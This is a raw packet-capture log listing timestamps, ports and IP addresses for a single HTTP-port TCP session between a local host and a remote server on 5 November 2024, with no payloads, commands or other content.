Nov 5, 2024 12:43:37.218384027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218394041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218404055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218414068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218415022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218435049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218435049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218467951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218576908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218588114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218596935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218605995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218615055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218622923 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218626022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218636990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218651056 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218663931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218684912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218770027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218780994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218811035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218926907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218936920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218945980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218962908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218972921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218974113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218980074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218987942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218997002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218998909 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219000101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219003916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219012022 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219038010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219213963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219254971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219336987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219347954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219360113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219369888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219377995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219379902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219391108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219394922 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219405890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219418049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219419003 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219429970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219435930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219443083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219454050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219480991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219652891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219666004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219676018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219686985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219706059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219716072 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219892979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219903946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219913960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219923973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219933987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219933987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219944954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219957113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219959974 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219969034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219980001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.219985962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.219993114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220001936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220005035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220016003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220026016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220035076 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220037937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220052958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220071077 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220427036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220433950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220442057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220448971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220458031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220465899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220467091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220472097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220475912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220479012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220487118 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220491886 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220498085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220503092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220510960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220542908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220726013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220740080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220748901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220760107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220773935 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220784903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220804930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220810890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220817089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220829964 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220839024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220841885 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220849037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220859051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220869064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220879078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220889091 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.220891953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220900059 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.220938921 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221173048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221184015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221216917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221330881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221343040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221352100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221363068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221370935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221378088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221390009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221400976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221407890 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221412897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221424103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221436024 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221466064 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221621990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221632957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221642971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221659899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221668959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221679926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221681118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221689939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221699953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.221704006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221704006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.221729994 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.246963978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.246978045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.246987104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247023106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247030020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247035980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247042894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247056007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247073889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247081041 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247095108 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247119904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247129917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247137070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247150898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247160912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247176886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247179985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247194052 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247220993 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.247230053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.247266054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.250935078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.250968933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.250976086 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.250979900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251013041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251023054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251044035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251050949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251085043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251228094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251252890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251260996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251267910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251296997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251368046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251378059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251384974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251396894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251419067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251458883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251485109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251492023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251523972 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251538038 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251549959 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251571894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251589060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251605034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251624107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251635075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251657963 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251665115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251687050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251707077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251718044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251728058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251745939 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251779079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251841068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251851082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251861095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251869917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251880884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.251883984 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251909018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251925945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.251998901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252010107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252019882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252029896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252039909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252067089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252068996 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252104998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252197981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252207994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252219915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252233028 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252239943 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252262115 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252265930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252278090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252289057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252300978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252310038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252326012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252350092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252379894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252391100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252415895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252430916 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252511978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252522945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252557039 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252568960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252592087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252607107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252608061 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252633095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252646923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252660036 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252671957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252682924 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252693892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252696991 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252717018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252734900 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.252775908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.252818108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.291878939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.291918039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.291929960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.291937113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.291944981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.291946888 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.291974068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.291996002 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.296758890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.296776056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.296787024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.296823025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.296844959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332664967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332729101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332743883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332761049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332783937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332791090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332806110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332814932 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332815886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332823992 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332830906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332835913 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332844973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332849026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332859993 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332863092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332878113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332885981 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332890034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332901955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332925081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.332933903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332966089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.332998037 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333010912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333019972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333040953 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333062887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333064079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333081007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333092928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333103895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333105087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333122015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333133936 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333137989 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333179951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333184958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333197117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333225012 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333266973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333278894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333291054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333303928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333307981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333319902 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333333015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333354950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333486080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333525896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333556890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333596945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333662033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333699942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333712101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333719969 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333734989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333745956 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333748102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333760023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333786011 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333795071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333900928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333936930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333940983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333950043 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.333976030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.333986044 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.334031105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334043026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.334053040 CET	80	49711	188.114.96.3	192.168.2.8
